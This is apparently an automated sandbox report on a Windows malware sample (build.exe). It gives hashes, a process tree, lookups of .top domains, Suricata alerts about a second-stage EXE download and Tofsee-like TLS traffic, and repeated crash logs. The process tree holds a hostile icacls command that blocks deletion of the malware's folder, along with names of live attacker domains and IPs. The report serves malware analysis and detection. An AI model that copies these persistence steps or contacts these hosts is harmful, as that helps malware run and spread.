Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	July 4, 2021, 11:02 a.m.	July 4, 2021, 11:07 a.m.

Size	738.0KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`f41fd95f121782d8d2f4689ef056d293`
SHA256	`4b1f8619599a195d1287cbfa9fa9fe2b9c428b40cfd5b5b712acf7d12bf0ef13`
CRC32	`9F20211E`
ssdeep	`12288:Fv9GfAXoRSiavuSy34jDq/70uViVkYvghNYl3PurYE4VNgvGZDr5BLcMc+plaA:FlvXmveu734s7RAVDYhMPzssLtDYA`
PDB Path	C:\racero\hitasenu-rom72_bevurecuw.pdb
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description)

build.exe "C:\Users\test22\AppData\Local\Temp\build.exe"
3972
- build.exe "C:\Users\test22\AppData\Local\Temp\build.exe"
  8212
  - icacls.exe icacls "C:\Users\test22\AppData\Local\0629fab9-c068-4a7f-a7d6-1a28e60429b4" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    4372
  - build.exe "C:\Users\test22\AppData\Local\Temp\build.exe" --Admin IsNotAutoStart IsNotTask
    4888
    - build.exe "C:\Users\test22\AppData\Local\Temp\build.exe" --Admin IsNotAutoStart IsNotTask
      3700
      - build2.exe "C:\Users\test22\AppData\Local\d4619d00-241d-4776-a151-bd1052ec2f43\build2.exe"
        2120

Name	Response	Post-Analysis Lookup
astdg.top	A 88.158.247.38 A 179.38.56.56 A 222.232.238.243 A 210.180.252.88 A 218.233.73.201 A 211.244.109.130 A 190.141.221.178 A 196.200.111.5 A 84.40.106.91 A 186.7.83.48	179.38.56.56
api.2ip.ua	A 77.123.139.190	77.123.139.190
dgos.top	A 8.209.113.181	8.209.113.181

IP Address	Status	Action
164.124.101.2	Active	Moloch
172.217.25.14	Active	Moloch
179.38.56.56	Active	Moloch
77.123.139.190	Active	Moloch
8.209.113.181	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
UDP 192.168.56.102:57660 -> 164.124.101.2:53	2027026	ET POLICY External IP Address Lookup DNS Query	Device Retrieving External IP Address Detected
TCP 192.168.56.102:49809 -> 77.123.139.190:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49819 -> 77.123.139.190:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 77.123.139.190:443 -> 192.168.56.102:49821	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49820 -> 77.123.139.190:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 77.123.139.190:443 -> 192.168.56.102:49811	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49808 -> 77.123.139.190:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
UDP 192.168.56.102:61459 -> 164.124.101.2:53	2023883	ET DNS Query to a *.top domain - Likely Hostile	Potentially Bad Traffic
TCP 192.168.56.102:49824 -> 179.38.56.56:80	2002400	ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer)	A Network Trojan was detected
TCP 192.168.56.102:49824 -> 179.38.56.56:80	2023882	ET INFO HTTP Request to a *.top domain	Potentially Bad Traffic
TCP 192.168.56.102:49823 -> 8.209.113.181:80	2002400	ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer)	A Network Trojan was detected
TCP 192.168.56.102:49823 -> 8.209.113.181:80	2020826	ET MALWARE Potential Dridex.Maldoc Minimal Executable Request	A Network Trojan was detected
TCP 192.168.56.102:49823 -> 8.209.113.181:80	2022896	ET HUNTING SUSPICIOUS Firesale gTLD EXE DL with no Referer June 13 2016	A Network Trojan was detected
TCP 8.209.113.181:80 -> 192.168.56.102:49823	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 8.209.113.181:80 -> 192.168.56.102:49823	2023464	ET HUNTING Possible EXE Download From Suspicious TLD	Misc activity

Suricata TLS

No Suricata TLS

Queries for the computername (4 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 4, 2021, 11:03 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 4, 2021, 11:03 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 4, 2021, 11:03 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 4, 2021, 11:03 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 4, 2021, 11:02 a.m.			0	0
IsDebuggerPresent July 4, 2021, 11:03 a.m.			0	0

This executable has a PDB path (1 event)

pdb_path

C:\racero\hitasenu-rom72_bevurecuw.pdb

The file contains an unknown PE resource name possibly indicative of a packer (3 events)

resource name	AFX_DIALOG_LAYOUT
resource name	GAHELOCESUFEGUC
resource name	NEVOM

One or more processes crashed (50 out of 65536 events)

Time & API	Arguments	Status
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
